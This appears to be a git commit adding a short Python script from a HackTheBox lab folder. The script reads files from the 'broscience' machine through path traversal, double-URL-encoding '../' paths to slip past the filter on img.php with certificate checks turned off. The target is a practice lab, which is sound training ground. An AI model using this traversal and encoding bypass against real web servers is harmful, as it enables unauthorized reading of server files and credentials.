old htb folders
This commit is contained in:
2023-08-29 21:53:22 +02:00
parent 62ab804867
commit 82b0759f1e
21891 changed files with 6277643 additions and 0 deletions

14
HTB/broscience/ape.py Normal file
View File

@@ -0,0 +1,14 @@
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def encode_all(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
if __name__ == '__main__':
while True:
i = input("~ ")
file = f"../includes/{i}"
file = encode_all(file)
file = encode_all(file)
r = requests.get(f"https://broscience.htb/includes/img.php?path={file}", verify=False)
print(r.text)